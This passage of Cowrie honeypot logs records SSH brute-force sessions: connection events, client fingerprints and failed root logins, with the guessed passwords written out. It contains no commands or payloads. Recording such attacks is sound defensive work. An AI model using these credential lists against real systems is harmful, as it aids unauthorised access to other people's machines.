{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:53.139785Z","src_ip":"92.118.39.50","session":"83cc3357f773","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:54.043730Z","src_ip":"92.118.39.50","session":"83cc3357f773","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:54.217791Z","src_ip":"80.94.92.55","session":"338d08b34fe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:53:55.494498Z","src_ip":"92.118.39.50","session":"83cc3357f773","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.1.33","src_port":35634,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e63f48ca793","protocol":"ssh","message":"New connection: 103.78.1.33:35634 (10.17.0.5:22) [session: 3e63f48ca793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:54:02.667290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:54:02.670807Z","src_ip":"103.78.1.33","session":"3e63f48ca793","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:54:02.891143Z","src_ip":"103.78.1.33","session":"3e63f48ca793","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345aA","message":"login attempt [root/12345aA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:54:03.808974Z","src_ip":"103.78.1.33","session":"3e63f48ca793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:54:05.038492Z","src_ip":"103.78.1.33","session":"3e63f48ca793","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.170.38","src_port":51332,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3cddf246c6b","protocol":"ssh","message":"New connection: 160.22.170.38:51332 (10.17.0.5:22) [session: a3cddf246c6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:54:32.994189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:54:33.068675Z","src_ip":"160.22.170.38","session":"a3cddf246c6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:54:33.309743Z","src_ip":"160.22.170.38","session":"a3cddf246c6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567l","message":"login attempt [root/1234567l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:54:34.793458Z","src_ip":"160.22.170.38","session":"a3cddf246c6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:54:36.048633Z","src_ip":"160.22.170.38","session":"a3cddf246c6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":33060,"dst_ip":"159.203.135.109","dst_port":23,"session":"be66844c1904","protocol":"telnet","message":"New connection: 143.198.154.150:33060 (159.203.135.109:23) [session: be66844c1904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:54:36.366463Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":43281,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d804e71659b","protocol":"ssh","message":"New connection: 14.55.144.22:43281 (159.203.135.109:22) [session: 3d804e71659b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:54:42.951349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:54:42.954613Z","src_ip":"14.55.144.22","session":"3d804e71659b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:54:43.156532Z","src_ip":"14.55.144.22","session":"3d804e71659b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7ujm8ik,9ol.","message":"login attempt [root/7ujm8ik,9ol.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:54:44.007079Z","src_ip":"14.55.144.22","session":"3d804e71659b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:54:45.211967Z","src_ip":"14.55.144.22","session":"3d804e71659b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":44146,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcecb3c1b37c","protocol":"ssh","message":"New connection: 103.153.68.219:44146 (10.17.0.5:22) [session: fcecb3c1b37c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:54:52.137005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:54:52.141347Z","src_ip":"103.153.68.219","session":"fcecb3c1b37c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:54:52.386024Z","src_ip":"103.153.68.219","session":"fcecb3c1b37c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bogomol","message":"login attempt [root/bogomol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:54:53.123591Z","src_ip":"103.153.68.219","session":"fcecb3c1b37c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:54:54.372328Z","src_ip":"103.153.68.219","session":"fcecb3c1b37c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":2348,"dst_ip":"159.203.135.109","dst_port":22,"session":"5548defb6298","protocol":"ssh","message":"New connection: 38.93.206.2:2348 (159.203.135.109:22) [session: 5548defb6298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:55:00.784273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:55:00.787868Z","src_ip":"38.93.206.2","session":"5548defb6298","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:55:00.838001Z","src_ip":"38.93.206.2","session":"5548defb6298","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"simmons","message":"login attempt [root/simmons] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:55:00.992990Z","src_ip":"38.93.206.2","session":"5548defb6298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:55:02.049741Z","src_ip":"38.93.206.2","session":"5548defb6298","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.105.39","src_port":60518,"dst_ip":"159.203.135.109","dst_port":22,"session":"22151db0637f","protocol":"ssh","message":"New connection: 162.144.105.39:60518 (159.203.135.109:22) [session: 22151db0637f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:55:10.838599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:55:10.842639Z","src_ip":"162.144.105.39","session":"22151db0637f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:55:10.931851Z","src_ip":"162.144.105.39","session":"22151db0637f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huobi","password":"S3cur3$P@ss!W0rd^","message":"login attempt [huobi/S3cur3$P@ss!W0rd^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:55:11.200042Z","src_ip":"162.144.105.39","session":"22151db0637f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:55:12.292237Z","src_ip":"162.144.105.39","session":"22151db0637f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.50","src_port":49190,"dst_ip":"159.203.135.109","dst_port":22,"session":"69dc343a0d64","protocol":"ssh","message":"New connection: 92.118.39.50:49190 (159.203.135.109:22) [session: 69dc343a0d64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:55:13.427790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:55:13.689964Z","src_ip":"92.118.39.50","session":"69dc343a0d64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:55:13.693124Z","src_ip":"92.118.39.50","session":"69dc343a0d64","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:55:14.690302Z","src_ip":"92.118.39.50","session":"69dc343a0d64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:55:15.999447Z","src_ip":"92.118.39.50","session":"69dc343a0d64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":39688,"dst_ip":"10.17.0.5","dst_port":22,"session":"81ae76c82bd6","protocol":"ssh","message":"New connection: 91.92.40.176:39688 (10.17.0.5:22) [session: 81ae76c82bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:55:56.422858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:55:56.728545Z","src_ip":"91.92.40.176","session":"81ae76c82bd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":[